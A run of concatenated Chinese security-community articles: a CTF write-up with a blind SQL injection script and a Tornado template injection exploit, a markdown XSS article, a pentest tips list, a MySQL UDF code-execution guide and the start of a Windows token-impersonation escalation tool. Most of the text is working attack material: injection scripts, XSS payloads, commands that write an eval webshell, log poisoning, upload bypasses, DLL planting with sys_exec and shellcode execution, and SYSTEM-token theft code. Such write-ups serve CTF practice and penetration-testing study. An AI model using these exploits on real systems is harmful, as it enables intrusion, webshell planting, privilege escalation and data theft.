SELECT file_name FROM `performance_schema`.`file_instances` WHERE file_name REGEXP DATABASE();
`select%0dInfo%0dfrom%0dinformation_schema.processlist`
补上我的sql注入exp
import requests,time
url= "http://192.168.43.221:8080/"
string = "qwertyuiopasdfghjklzxcvbnm1234567890/"
def sql_inject():
data = ""
for y in range(70):
for x in string:
payload = url + f"register.php?password=1&username=admin' and if(mid((select qwbqwbqwbpass from qwbtttaaab111e limit 0,1),{y},1) in ('{x}'),!sleep(5),1) and '1"
#payload = url + f"register.php?password=1&username=admin' and if(substr((SELECT digest_text FROM performance_schema.events_statements_summary_by_digest limit 1,1),{y},1) in ('{x}'),!sleep(3),1) and '1"
start = time.time()
#print(payload)
a=requests.get(payload).text
if("error" in a ):
print("error")
if(time.time()-start) > 3:
data = data + x
print(data)
break
### 2\. 任意文件下载
现在第一个想法就是去下载flag，但是很可惜没有。结合提示pyc.
日常读取proc文件
拿到了当前的目录
再看看当前环境
SHELL=/bin/bash
TERM=xterm
Use=MYSQL
....
这些信息在后面都有可能会用得到。
现在到这里 我们就应该思考怎么才能拿到源码，来看看还有没有什么没有公布漏洞。
__pycache__/app.cpython-{version}.pyc
爆破之后面就是x.x 变成xx
然后使用在线的反编译工具，进行反编译，即可get源码。
### 3\. tornado的SSTI
这个考点是我没有想到的。因为在网上搜索，我们可以发现其实在平时就没有考过这个除了护网杯，也没有资料查，这让我脚本小子怎么活。
这是tornado对于ssti的支持:<https://github.com/tornadoweb/tornado/blob/master/tornado/template.py>
首先把已经ban了的拿出来
black_func = ['eval', 'os', 'chr', 'class', 'compile', 'dir', 'exec', 'filter', 'attr', 'globals', 'help', 'input', 'local', 'memoryview', 'open', 'print', 'property', 'reload', 'object', 'reduce', 'repr', 'method', 'super', 'vars']
black_symbol = ["__", "'", '"', "$", "*", '{{']
black_keyword = ['or', 'and', 'while']
black_rce = ['render', 'module', 'include', 'raw']
出题人很贴心帮我们加了注释，感谢hxd。
我们现在需要做的就是从源码中先找到我们还能够使用的函数，也就是这里的rce
下面贴一下源码所有支持的标签。
{##}
{{}}
{%%}
我们看到源码发现这个玩意是这么玩的
{% func space suffix%}
下面func(operator) 总结
这些都是块的定义
intermediate_blocks = {
"else": set(["if", "for", "while", "try"]),
"elif": set(["if"]),
"except": set(["try"]),
"finally": set(["try"]),
}
可以比作if 这些语句
rce:
"extend " => {% extends *filename* %} 引入模板 只导入{%%}
"include" => 包含文件 就像直接复制进来的一样 {% include *filename* %}
"set" => 设置一个变量
"import" =>和python的一致 导入一个模块(能否配合文件写来命令执行?)
"from" => 通import
"comment" => continue 不要处理
"autoescape"=>设置整个文件的编码 {%autoescape None%} 关闭整个文件的编码 或者加载单独的函数名 不会影响include的文件
"whitespace"=>空白字符处理
"raw" => 执行python代码 without autoescaping.
"module" => 渲染一个模板{% module Template("foo.html", arg=42) %}
"apply" => {% apply function %}output{% end %} 对于这个块中的输出output
以上基本上就是所有的操作名字和一些简单的使用，具体还是得等师傅们使用了之后才会明白。
### 4 解题完成
那么这道题到这里 就只剩下了extennds了，我们应该如何去操作这个呢？又没有什么文件给我们用，我们该咋办呢？
前面我们说过了proc目录yyds，我们就是利用前面的我们发现python是mysql用户。那么就可以直接mysql写文件，然后达到任意命令执行。下面附带上exp。
def ssti(payload1,payload2,num):
s = requests.session()
print(s.get(url+f"register.php?username=demo{num}&password="+payload1).text)
print(s.get(url+f"register.php?username=demo{num}' into outfile '/var/lib/mysql-files/demo{num}&password=123").text)
s.get(url + "login.php?username=admin&password=we111c000me_to_qwb")
print(s.get(url+"good_job_my_ctfer.php?congratulations="+payload2).text)
if __name__ == '__main__':
num = random.randint(3,5000)
system = "cat /flag_qwb/flag"
payload1 = '{% set return __import__("os").popen("'+system+'").read()%}'
payload2 = '{% extends /var/lib/mysql-files/demo'+str(num)+' %}'
ssti(payload1,payload2,num)
这样就可以和前面组成一个完整的exp。在mysql中默认导出目录为`/var/lib/mysql-files/`
## 参考资料
<https://www.tornadoweb.org/en/stable/template.html?highlight=extends#tornado.template.filter_whitespace>
复现环境：<https://www.anquanke.com/post/id/244153> 感谢大佬开源
## 三 提升
下面我们把环境中的黑名单全部撤销掉。来一个一个尝试一下刚才所发的所有payload
首先是简简单单的`inlcude`:
可以看到用法和extends是一样的。
每一个禁止的函数都还可以玩。
这里我只是单独地说一下，有关于include的，里面引入的代码会自动解析`{{}}`标签，我们不能将之抹去，那么利用的时候用上来payload来引入文件即可。 | 社区文章 |
# 前言
最近我测试一个web网站的时候发现，我可以通过markdown编辑器和渲染包来触发跨站点脚本（XSS）漏洞。这是我第一次遇到这种类型的漏洞，我发现它特别有趣，因为它允许我绕过在应用程序中实现的多层XSS过滤。以下就是我关于这个漏洞的相关报告。
# 何为Markdown？
Markdown是一种用于编写和格式化内容的简单语言。简单地说，编写者只需要掌握少量的语法，就可以写出简洁美观的内容。从GitHub上的Gists和readme文件，到您正在阅读的这篇文章，它无处不在。
标准化的语法允许不同的markdown处理器以不同的方式显示相同的文档。标题始终是标题，但处理器可以选择应用哪种字体和权重、将标题放置在何处以及标题在目录中的显示方式。
看看一个例子
视觉效果也非常棒！但是，Medium并不存储HTML和CSS的网页，而是存储一个标记文件。
非常实用！Medium读取这一行，由于markdown的语法，Medium知道这是一个分享出来供大家阅读的图像。Medium处理此行并生成构成本文的HTML。
# 怎么在markdown中触发XSS?
上一段的重点在最后一行。Medium读取markdown中的行，然后生成HTML。敲黑板！如果不能安全地实现这一点，我们可以在markdown中写入恶意JavaScript代码，因此在markdown处理器进行处理时，会触发这段代码。
在我测试的Web应用程序中，我知道触发XSS不是很容易的一件事。它是一个Angular应用程序，默认情况下会清除页面上渲染的所有内容。而且，基于对API的测试，我知道任何看起来像HTML或JavaScript的东西在存储到数据库之前都会被去掉。
但是，我认为，如果在web应用程序或API上没有正确地对这些代码进行清理，markdown就会是一个突破口。
# 再探Markdown
Markdown中的另一个例子是链接，它的语法与图像相同，但是没有前缀'!'。
[Click Me](https://www.example.com/)
当由Medium处理时：
<a href="https://www.example.com/">Click Me</a>
如果我们能够在markdown中精心设计，我们就应该能够修改生成的HTML。
# exploit
最初的漏洞利用十分简单，从上面的代码来看，我们可以从href属性中转义，并添加一些在DOM事件上触发的脚本。或者，我们直接将代码放在href中。
<a href="javascript:alert('XSS')">Click Me</a>
将payload放在括号中
[Click Me](javascript:alert('Uh oh...'))
果不其然，这奏效了。现在我们有了一个链接，当我们点击它时，它会弹出一个警告。这表明前端和后端都没有将markdown视为XSS向量，或者没有正确地进行处理。
# 这是就完了吗？
首先，在执行JavaScript之前，用户必须实际单击该链接。理想情况下，我们希望仅通过访问页面来执行它。其次，一个恶意链接没有什么效果，那这次攻击就毫无意义。
我们需要在页面加载并在用户不知道的情况下，悄无声息地利用漏洞展开攻击。这让我们将视角切回到图像文件。如果我们可以创建一个图像并将脚本设置为在加载图像时运行，那么响应页面看起来就像预期的那样，我们的攻击代码将在后台运行。
# 再进一步！
回到markdown中的图像语法
这是最终的HTML：
<img src="https://images.unsplash.com/the_good_boy.png" alt="The goodest boy">
当然，我们可以将相同的payload放在括号中触发XSS。但这并没有什么意义。
很重要的一点是：
> markdown如何渲染为HTML，因markdow不同而异。
在Markdown中将JavaScript注入图像代码的最佳方式
这是我发现的第一个payload。当JavaScript代码直接放置在src或alt属性中时，似乎无法执行，但我可以关闭src属性并添加更多属性。这个过程为:
<img src="" onerror="alert('XSS') alt="Uh oh...">
由于src值为空，因此加载图像将导致代码执行错误。所以我这样构造：
事实证明，我们仍然可以添加源链接并添加onload属性，该属性在页面加载后执行。
谢谢阅读！
# 总结
聪明的开发者面对这种情况也做了充分的准备，做好渗透测试同样也非常重要，bug
bounty计划也为应用程序的安全保驾护航，但开发人员也要时刻保持警醒，满足功能需求的同时也必须考虑安全性。当你在外面进行测试的时候，不要忘记markdown,这里有一个[有效负载列表](https://github.com/JakobRPennington/InformationSecurity/blob/master/Payloads/md/XSS.md
"有效负载列表")供您使用。
https://blog.usejournal.com/exploiting-xss-via-markdown-72a61e774bf8 | 社区文章 |
Author:
[Binghe@i春秋](http://bbs.ichunqiu.com/thread-14031-1-1.html?from=seebug)
### 前言：
总结下渗透测试中的一些小技巧，仅做总结。
### 目录：
0x01 php文件包含姿势 0x02 .htaccess文件突破黑名单解析 0x03 php流封装绕过截断 0x04 通用防注入系统getshell
0x05 iis+php黑名单上传突破
### 正文
#### 0x01 php文件包含姿势
其实这类姿势国外黑阔早有总结：
* includinguploaded files -straight forward method; this requires existence of an upload functionality inthe tested website (e.g. photo upload, or document upload), access to uploadfunctionality and storage of uploaded files in a place accessible by the PHPscript （如果网站存在文件上传功能，比如前台传头像之类，可以尝试包含上传的文件，当然文件可控。）
* include data://or php://input pseudo protocols - these protocols must be enabled andaccessible via include (allow_url_include set to on); also, php://filter pseudo protocol is usable in somecases （利用php封装协议php://input和data://，包含post数据造成php命令执行，当然allow_url_include选项需要打开）
* including logs - this required PHP script to be ableto access certain types of logs, e.g. httpd server error logs or access logs;also, size of these logs might make the attack harder (e.g. if error log has2GB) （因为包含的可以是任意文件，log文件也是可以，当我们提交恶意代码时也会被记录，于是包含记录了恶意代码的log文件是个好主意）
* including /proc/self/environ - this requires PHP to be run as CGIon a system that hasthe /proc pseudo-filesystem and PHP script is required to have access to theaforementioned pseudo-file （包含/proc/self/environ文件： 这需要PHP运行作为一个具有cgion /proc伪文件的系统且PHP脚本有权访问这些伪文件）
* include session files - this requires the attacker to beable to influence the value of any string in a session (to inject code, e.g.<?php phpinfo(); ? >), the sessions must be stored in a serializedsession file (as e.g. x| s:19:"<?php phpinfo(); ?>"; - this isthe default setting for PHP) and the PHP script must be able to access thesession file (usually names /tmp/ sess_SESSIONID) （包含会话文件-这需要攻击者能控制会话中的任何字符串值（注入代码，例如phpinfo(）），会话文件必须存放在serializedsession文件且PHP脚本能够访问会话文件（通常是/tmp/ sess_SESSIONID文件）
* include other files created by PHPapplication - thisis very application and system specific, but it basically describes any otherfile that is created the websites functionality and the way it works, e.g.database files, cache files, application-level logs, etc Additional toolsincluded both the poison nul byte (addressed in PHP 5.3.4[1] released2010-12-09) and excessive slash (/) suffix into path truncation bug[2] (patchedin 2009).
（包含其他由php应用创建的文件，只要你能想到的，都可以尝试创建 然后包含他，比如数据库文件，缓存文件，应用程序级别的日志）
**我们来主要说下第二种和第三种姿势 php://input属于php内置的封装协议，其实都主要是include（）函数处理不当
这里我们准备一个有文件包含的php文件**
<?php
include($_GET['url']);
?>
我们访问 http://127.0.0.1/111332.php?url=php://input 然后我们通过POST提交php代码。
黑阔可利用此写入一句话木马：
<?php fwrite(fopen("xxx.php","w"),'<?php eval($_POST["cc"]);?>');?>
同理，提交：
<?php system("net user")?>
可成功通过system函数成功执行命令。
#### 第三种姿势也是比较巧妙：
包含日志文件getshell（需要一定读权限）
首先找到日志文件存放位置，利用文件包含漏洞去读取 apache 日志默认在 /etc/httpd/logs/access_log
也可以先找apache配置文件，通过任意文件读取漏洞配置文件找到日志路径 /etc/httpd/conf/httpd.conf
让日志文件插入php代码
方法一 使用burpsuit抓包访问 ，绕过浏览器编码`<>`
方法二 curl 访问不存在的url
curl http://192.168.192.1/a.php?=<?php phpinfo(); ?>
如此，php代码就被写到log里面了 包含一下日志：
http://172.16.77.145/lfi/1/index.php?page=/etc/httpd/logs/access_log
### 0x02 .htaccess文件突破黑名单解析
因为是黑名单，自定义.htaccess上传，下面是内容
<FileMatch “test.jpg”>
SetHandler application/x-httpd-php
</FileMatch>
同目录下，上传一个test.jpg文件，没有扩展名，内容是一句话，这个时候就成功绕过。
### 0x03 php流封装绕过截断
思路源于王松童鞋 @王松_striker 思路主要是利用了PHP的一个流封装的特性,可以参考PHP官方文档中的Example #3
Example #3 Zip 流封装，读取一个OpenOffice 文件的元信息
<?php
$reader = new XMLReader();
$reader->open('zip://' . dirname(__FILE__) . '/test.odt#meta.xml');
$odt_meta = array();
while ($reader->read()) {
if ($reader->nodeType == XMLREADER::ELEMENT) {
$elm = $reader->name;
} else {
if ($reader->nodeType == XMLREADER::END_ELEMENT && $reader->name == 'office:meta') {
break;
}
if (!trim($reader->value)) {
continue;
}
$odt_meta[$elm] = $reader->value;
}
}
print_r($odt_meta);
?>
此例使用了旧的 API（PHP 4），它打开了一个 ZIP 文件归档，读取归档里的每个文件，并输出文件内容。此例用到的 test2.zip 文档是
ZZIPlib 源分布里测试文档中的一个。 假设存在文件包含的代码为：
<?php
$a = $_GET['file'];
include $a.'.html.php';
但是我们%00无法截断, 只能包含 xxxx.html.php 首先我们新建一个hello.html.php，内容为phpinfo();
然后压缩成zip,结构如下图：
然后访问如下网址,成功包含压缩文件内的hello.html.php
`http://localhost/test/blog.php?file=zip://test.zip%23hello`
如图：
把我们输入的变量和include后面的变量合起来就是 zip://test.zip#hello.html.php
代表当前目录下的test.zip压缩包里面的hello.html.php，于是包含成功。
### 0x04 通用防注入系统getshell
相信许多朋友渗透测试都遇到过这种情况
系统做了数据提交记录，我们通过阅读类似程序的源码得知数据记录在sqlin.asp
于是想到直接提交一句话木马。但是没有成功
┼攠數畣整爠煥敵瑳∨≡┩愾 密码 a (加密方式是:ANSI->Unicode)
提交 and 1= ┼攠數畣整爠煥敵瑳∨≡┩愾
菜刀连接sqlin.php即可
### 0x05 iis+php黑名单上传突破
> 环境: php+window+iis
>
> 局限: 文件上传黑名单机制，略显鸡肋
科普： 在php+window+iis环境下:
> 双引号(“>”) <==> 点号(“.”)’;
>
> 大于符号(“>”) <==> 问号(“?”)’;
>
> 小于符号(“<“) <==> 星号(“*”)’;
有这么好玩的东西，那不就可以做太多的事了？但事实并不是这样，通过一系列的测试发现，该特性只能用于文件上传时覆盖已知的文件，于是这特性便略显鸡肋.
不过P牛已经给出完美利用的方法：
思路如下：
首先我们先利用特殊办法生成一个php文件，然后再利用这个特性将文件覆盖..
可问题又来了，怎样生成php文件呢?如果可以直接生成php文件的话，干嘛还要利用那什么特性?
别急，办法总是有的..
我们都知道在文件上传时，我们往往会考虑到文件名截断，如%00 等..
对！有的人可能还会用冒号(“:”)去截断，如：bypass.php:jpg
但是你知道吗?冒号截断产生的文件是空白的，里面并不会有任何的内容,呵呵说到这里明白了没有?
虽然生成的php文件里面没有内容，但是php文件总生成了吧，所以我们可以结合上面所说的特性完美成功利用.
按照上面提供的思路，实现..
本地测试地址：http:// **.**. **.** /upfile.php 环境：Windows+IIS7.5
1)首先利用冒号生成我们将要覆盖的php文件，这里为：bypass.php，如图
点击forward后，可以看见成功生成空白的bypass.php文件
2)利用上面的系统特性覆盖该文件 从上面已经知道“<” 就等于 “ _”,而”_ ”代码任意字符，于是乎..
我们可以这样修改上传的文件名，如下：
------WebKitFormBoundaryaaRARrn2LBvpvcwK</pre>
Content-Disposition: form-data; name="file"; filename="bypass.<<<"
Content-Type: image/jpeg
//注意！文件名为：bypass.<<<
点击go..,即可成功覆盖bypass.php文件，如图
对比上面的两个图，bypass.php被我们成功的写入了内容..
**参考资料:乌云知识库 binghesec Phithon 王松**
原文地址：http://bbs.ichunqiu.com/thread-14031-1-1.html?from=seebug
* * * | 社区文章 |
原文地址<https://osandamalith.com/2018/02/11/mysql-udf-exploitation/>
## 综述
> 在现实世界中，当我登录金融机构时，遇到了他们的内网并且使用MySQL 5.7
> 64位作为后端数据库的场景。大多数时候，我在环境中遇到MSSQL，这是一种罕见的情况（mysql）。我在Web应用程序中发现了SQL注入，并且能够从mysql.user
> dump用户名和密码我意识到它有权将文件写入磁盘。这使我写了一篇文章，分享关于向MySQL写入udf.dll，使之代码执行和在Windows中弹出一个shell的技巧。当我在谷歌搜索大多数的技术文章，当涉及到Windows，文章解释的不太清楚。所以，我想用我自己的研究来写这篇文章来使之更加清楚，并让你了解一些手工使用的技巧。
当我在一台主机上写博客时，我将使用最新的MySQL 5.7.21服务器。为了重现该场景，我运行mysqld服务器，并将带有'-secure-file-priv
='参数的设置为blank（不是NULL）。在这种情况下，我能够在内网使用中union注入，从mysql.user表中检索用户名和密码。请注意，在MySQL
5.7及更高版本中，“password”列不存在。他们已将其更改为'authentication_string'。
＃MySQL 5.6及以下版本
select host, user, password from mysql.user;
＃MySQL 5.7及以上版本
select host, user, authentication_string from mysql.user;
请注意，如果您已拥有credentials，则可以使用metasploit的mysql_hashdump.rb auxiliary module 来dump
MySQL哈希值。当我写这篇博文时，脚本需要更新以便在MySQL
5.7中兼容，您可以在这里查看我的[pull](https://github.com/rapid7/metasploit-framework/pull/9525)
用户'osanda'的主机列允许来自192.168.0.*的连接，这意味着我们可以使用该用户从该IP范围进行远程连接。我破解了密码哈希并获得了明文密码。
登录到MySQL后，我查看了当前用户的权限。
select * from mysql.user where user = substring_index(user(), '@', 1) ;
我们登录的用户拥有所有权限，并且我们有权读取和写入文件，您可以在其中考虑编写UDF DLL库并获得代码执行。
## 什么是UDF库
UDF表示MySQL中的用户定义函数。这就像在DLL中编写自己的函数并在MySQL中调用它们一样。我们将使用可在Metasploit框架中找到的“lib_mysqludf_sys_64.dll”DLL库。您可以使用基于系统架构的UDF库，位置在
Metasploit"/usr/share/metasploit-framework/data/exploits/mysql/"[点击这里查看文件的github链接](https://github.com/rapid7/metasploit-framework/tree/master/data/exploits/mysql)。
首先，我们必须检查运行MySQL的版本。全局变量'@@ version_compile_os'向我们展示了MySQL结构，'@@
version_compile_machine'向我们展示了操作系统的结构。在这种情况下，我们在64位Windows操作系统中运行64位版本的MySQL。
MySQL [(none)]> select @@version_compile_os, @@version_compile_machine;
+----------------------+---------------------------+
| @@version_compile_os | @@version_compile_machine |
+----------------------+---------------------------+
| Win64 | x86_64 |
+----------------------+---------------------------+
MySQL [(none)]> show variables like '%compile%';
+-------------------------+--------+
| Variable_name | Value |
+-------------------------+--------+
| version_compile_machine | x86_64 |
| version_compile_os | Win64 |
+-------------------------+--------+
从MySQL 5.0.67开始，UDF库必须包含在plugin文件夹中，可以使用'@@
plugin_dir'全局变量找到它。这个变量可以在mysql.ini文件中看到和编辑。
MySQL [(none)]> select @@plugin_dir ;
+--------------------------------------------------------------+
| @@plugin_dir |
+--------------------------------------------------------------+
| D:\MySQL\mysql-5.7.21-winx64\mysql-5.7.21-winx64\lib\plugin\ |
+--------------------------------------------------------------+
1 row in set (0.02 sec)
MySQL [(none)]> show variables like 'plugin%';
+---------------+--------------------------------------------------------------+
| Variable_name | Value |
+---------------+--------------------------------------------------------------+
| plugin_dir | D:\MySQL\mysql-5.7.21-winx64\mysql-5.7.21-winx64\lib\plugin\ |
+---------------+---------------------------------------------------
您可以通过将新值传递给mysqld来更改插件目录变量。
mysqld.exe –plugin-dir=C:\\temp\\plugins\\
另一种方法是用plugin目录编写一个新的mysql配置文件并将其传递给mysqld。
mysqld.exe --defaults-file=C:\\temp\\my.ini
The content of the ‘my.ini’
plugin_dir = C:\\temp\\plugins\\
从MySQL
5.0.67开始，文件必须位于plugin目录中。该目录取决于plugin_dir系统变量的值。如果plugin_dir的值为空，则参照5.0.67之前即文件必须位于系统动态链接器的搜索目录中。
在5.0.67之前的MySQL版本中， the file must be in a directory that is searched by your
system’s dynamic linker。这同样适用于4.1.25之前的MySQL版本.
5.0<=mysql<5.0.67，则需要导出至目标服务器的系统目录（如：system32）
在旧版本中，您可以将DLL文件上传到以下位置并创建新的UDF功能。
@@ DATADIR
@@ BASEDIR \ BIN
C：\ WINDOWS
C：\ WINDOWS \ SYSTEM
C：\ WINDOWS \ SYSTEM32
### 上传二进制文件
有很多可能的方法可以做到这一点。load_file函数支持网络路径。如果您可以将DLL复制到网络共享中，您可以直接加载它并写入磁盘。
select load_file('\\\\192.168.0.19\\network\\lib_mysqludf_sys_64.dll') into dumpfile "D:\\MySQL\\mysql-5.7.21-winx64\\mysql-5.7.21-winx64\\lib\\plugin\\udf.dll";
另一种方法是用一个十六进制编码的字符串将整个DLL文件写入磁盘。
select hex(load_file('/usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.dll')) into dumpfile '/tmp/udf.hex';
select 0x4d5a90000300000004000000ffff0000b80000000000000040000000000000000000000000000000000000000… into dump file "D:\\MySQL\\mysql-5.7.21-winx64\\mysql-5.7.21-winx64\\lib\\plugin\\udf.dll";
另一种方法是创建一个表并将二进制数据插入到十六进制编码流中。您可以尝试在一个插入语句中编写代码或将其分解为多个部分，其中使用update语句来联系二进制数据
create table temp(data longblob);
insert into temp(data) values (0x4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000f00000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000000000000000000);
update temp set data = concat(data,0x33c2ede077a383b377a383b377a383b369f110b375a383b369f100b37da383b369f107b375a383b35065f8b374a383b377a382b35ba383b369f10ab376a383b369f116b375a383b369f111b376a383b369f112b376a383b35269636877a383b300000000000000000000000000000000504500006486060070b1834b00000000);
select data from temp into dump file "D:\\MySQL\\mysql-5.7.21-winx64\\mysql-5.7.21-winx64\\lib\\plugin\\udf.dll";
您也可以直接从磁盘将文件从网络共享加载到上面创建的表中，或使用“加载数据infile”语句在本地加载。像上面显示的那样将文件转换为十六进制，并在写入磁盘时取消对其的编辑。
load data infile '\\\\192.168.0.19\\network\\udf.hex'
into table temp fields terminated by '@OsandaMalith'
lines terminated by '@OsandaMalith' (data);
select unhex(data) from temp into dumpfile 'D:\\MySQL\\mysql-5.7.21-winx64\\mysql-5.7.21-winx64\\lib\\plugin\\udf.dll';
从MySQL 5.6.1和MariaDB
10.0.5开始有好消息。介绍了函数'to_base64'和'from_base64'。如果你是一个喜欢绕过SQL注入WAFs的人，你可能已经在使用这些函数（提示：路由查询注入）。
select to_base64(load_file('/usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.dll'))
into dumpfile '/tmp/udf.b64';
您可以编辑base64文件并添加以下行以转储到插件目录。
select from_base64("TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAA8AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v
ZGUuDQ0KJAAAAAAAAAAzwu3gd6ODs3ejg7N3o4OzafEQs3Wjg7Np8QCzfaODs2nxB7N1o4OzUGX4
s3Sjg7N3o4KzW6ODs2nxCrN2o4OzafEWs3Wjg7Np8RGzdqODs2nxErN2o4OzUmljaHejg7MAAAAA
AAAAAAAAAAAAAAAAUEUAAGSGBgBwsYNLAAAAAAAAAADwACIgCwIJAAASAAAAFgAAAAAAADQaAAAA
EAAAAAAAgAEAAAAAEAAAAAIAAAUAAgAAAAAABQACAAAAAAAAgAAAAAQAADPOAAACAEABAAAQAAAA
AAAAEAAAAAAAAAAAEAAAAAAAABAAAAAAAAAAAAAAEAAAAAA5AAAFAgAAQDQAADwAAAAAYAAAsAIA
AABQAABoAQAAAAAAAAAAAAAAcAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAwAABwAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALnRleHQAAAAR
EAAAABAAAAASAAAABAAAAAAAAAAAAAAAAAAAIAAAYC5yZGF0YQAABQsAAAAwAAAADAAAABYAAAAA")
into dumpfile "D:\\MySQL\\mysql-5.7.21-winx64\\mysql-5.7.21-winx64\\lib\\plugin\\udf.dll";
之后，你可以像这样将整个文件传递给mysql。
mysql -h 192.168.0.30 -uosanda -pabc123 < /tmp/udf.b64
您也可以使用上面讨论的“load data infile”语句直接从网络共享或本地编写base64编码文件，并像这样转储。
select from_base64(data) from temp
into dumpfile 'D:\\MySQL\\mysql-5.7.21-winx64\\mysql-5.7.21-winx64\\lib\\plugin\\udf.dll';
## 探索DLL
大多数时候我看到人们只写关于Metasploit内部的这个DLL中的'sys_exec'函数。为了好奇，我想到了扭转这个DLL并探索其他功能。如果我们检查导出目录，我们可以看到作者写了几个更有用的函数。我会展示一些有用的功能。
### sys_exec
该函数将在“系统”函数内传递参数'args-> args [0]'。您可以使用它在目标机器上执行系统命令。
Installation
create function sys_exec returns int soname 'udf.dll';
Verification
select * from mysql.func where name = 'sys_exec';
+----------+-----+---------+----------+
| name | ret | dl | type |
+----------+-----+---------+----------+
| sys_exec | 2 | udf.dll | function |
+----------+-----+---------+----------+
Deletion
drop function sys_exec;
### sys_eval
该功能将执行系统命令并在屏幕上通过标准输出显示。正如你可以使用这个函数一样，使用_popen函数和'r'参数，calling process can
read the spawned command’s standard output via the returned
stream。它使用'fgets'来读取pipe到缓冲区，它会返回缓冲区。
Installation
create function sys_eval returns string soname 'udf.dll';
Verification
select * from mysql.func where name = 'sys_eval';
Deletion
drop function sys_eval;
Example
select sys_eval('dir');
### sys_get
该函数使用'getenv'函数返回系统变量的值。
Installation
create function sys_get returns string soname 'udf.dll';
Verification
select * from mysql.func where name = 'sys_get';
Deletion
Drop function sys_get;
Example
Select sys_get('longonserver');
### 执行Shellcode - sys_bineval
我在这个DLL里面找到了一个很酷的函数'sys_bineval'。该函数将使用'VirtualAlloc'API分配RWX内存，并使用'strcpy'将'args->
args [0]'复制到新分配的内存中。然后这个缓冲区被传递给'CreateThread'API来产生一个新的线程。
如果我们看看'CreateThread'API，我们可以看到使用'strcpy'复制缓冲区的'lpParameter'作为指针传递给要传递给线程的变量。'StartAddress'中的函数将直接移动'lpParamter'并调用ptr
rax，这将改变RIP到我们的shellcode。
Installation
create function sys_bineval returns int soname 'udf.dll';
Verification
select * from mysql.func where name = 'sys_bineval';
Deletion
drop function sys_bineval;
Example
但是没有工作在64位。这32位平台中工作正常。您可以直接打开原始二进制shellcode或编码为base64或十六进制编码并使用此功能执行。
select sys_bineval(from_base64(load_file('./calc.b64')));
我注意到这些外部UDF函数在拆解代码中没有适当的异常处理。因此，在调用这些函数时稍有错误会导致mysqld.exe服务器崩溃。我希望这篇文章可能对你有用，同时记录下MySQL。
#### References
<http://ftp.nchu.edu.tw/MySQL/doc/refman/5.0/en/create-function-udf.html>
<http://ftp.nchu.edu.tw/MySQL/doc/refman/4.1/en/create-function-udf.html>
<https://docs.oracle.com/cd/E19078-01/mysql/mysql-refman-5.0/extending-mysql.html>
<https://dev.mysql.com/doc/relnotes/mysql/5.6/en/news-5-6-1.html>
<https://dev.mysql.com/doc/refman/5.7/en/udf-arguments.html>
<https://msdn.microsoft.com/en-us/library/aa298534(v=vs.60).aspx>
#### Papers
Exploit-DB
Packet Storm | 社区文章 |
## 前言
再次向大家问好！今天我将介绍一些关于Windows模拟的新技术。这一次，我们将使用`Impersonation Token`作为获取SYSTEM的方法。
## Impersonation Token VS Primary Token
在我之前的博文中，我使用`Primary Tokens`作为访问`NT AUTHORITY\SYSTEM
shell`的方法。但你知道它们之间的区别吗？如果你知道，那么你就无需看接下来的文章了。
所有进程都具有`Primary Token`和`Impersonation Token`。主要区别在于每次创建新线程时，它都从其父级继承`Primary
Token`和`Impersonation Token`。但是，`Primary
Token`不可能被"交换"。您可以复制它，但不能在同一进程中"交换"`Primary
Token`。始终需要使用重复的`Token`创建新流程。但是`Impersonation Token`不会发生这种情况！
使用`Impersonation Token`，您可以创建一个新线程，获取远程进程访问`Token`的句柄，获取它的`Impersonation
Token`，然后将其与您当前的线程（即当前进程中）交换`Impersonation Token`！这会将您的进程"转变"为SYSTEM进程。
## PowerShell Time
在上一个教程中，我使用了`C++`并开发了一个可执行文件，用`CreateProcessTokenW`生成一个SYSTEM进程。在这一篇中，我将编写一个PowerShell脚本。这是因为它允许我们获取一个`Impersonation
Token`并替换它。
## 现成PowerShell脚本
有一个很好的脚本已经被Harmj0y写出了。但直接使用是不太合理的，因为知道如何绕过并可以创造属于自己的脚本对于一个测试者是必备的技能。
此外，在我的脚本中，我将提供上述脚本中不存在的几个函数，例如检测Windows权限。
我和其在这方面的最大区别是我不会直接使用PowerShell导入Windows
API函数，就像`Harmj0y`在他的脚本中所做的那样。相反，我会编写一个`C#
DLL`来完成所有工作，然后将其映射在内存中，我更喜欢这种方法，因为它更加具有隐蔽性。
## 开始
首先，我们将过分依赖`Windows API`函数。完整列表如下：
* LookupPrivilege
* AdjustTokenPrivilege
* PrivilegeCheck
* OpenProcess
* OpenProcessToken
* DuplicateToken
* SetThreadToken
但是，当我们使用PowerShell和C#调用Windows API时，我们还需要导入结构，而不仅仅是函数。
* LUID_AND_ATTRIBUTES
* PRIVILEGE_SET
* LUID
* TOKEN_PRIVILEGES
首先，我们需要导入这些函数，以便在PowerShell会话中使用。我们可以使用名为`pinvoke`( <https://pinvoke.net/>
)的网站轻松导入它们。这可能是最麻烦的部分。
下面是我的`DLL C#`代码
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
namespace zc00l
{
public class ImpersonationToken
{
// Constants that are going to be used during our procedure.
private const int ANYSIZE_ARRAY = 1;
public static uint SE_PRIVILEGE_ENABLED = 0x00000002;
public static uint STANDARD_RIGHTS_REQUIRED = 0x000F0000;
public static uint STANDARD_RIGHTS_READ = 0x00020000;
public static uint TOKEN_ASSIGN_PRIMARY = 0x00000001;
public static uint TOKEN_DUPLICATE = 0x00000002;
public static uint TOKEN_IMPERSONATE = 0x00000004;
public static uint TOKEN_QUERY = 0x00000008;
public static uint TOKEN_QUERY_SOURCE = 0x00000010;
public static uint TOKEN_ADJUST_PRIVILEGES = 0x00000020;
public static uint TOKEN_ADJUST_GROUPS = 0x00000040;
public static uint TOKEN_ADJUST_DEFAULT = 0x00000080;
public static uint TOKEN_ADJUST_SESSIONID = 0x00000100;
public static uint TOKEN_READ = STANDARD_RIGHTS_READ | TOKEN_QUERY;
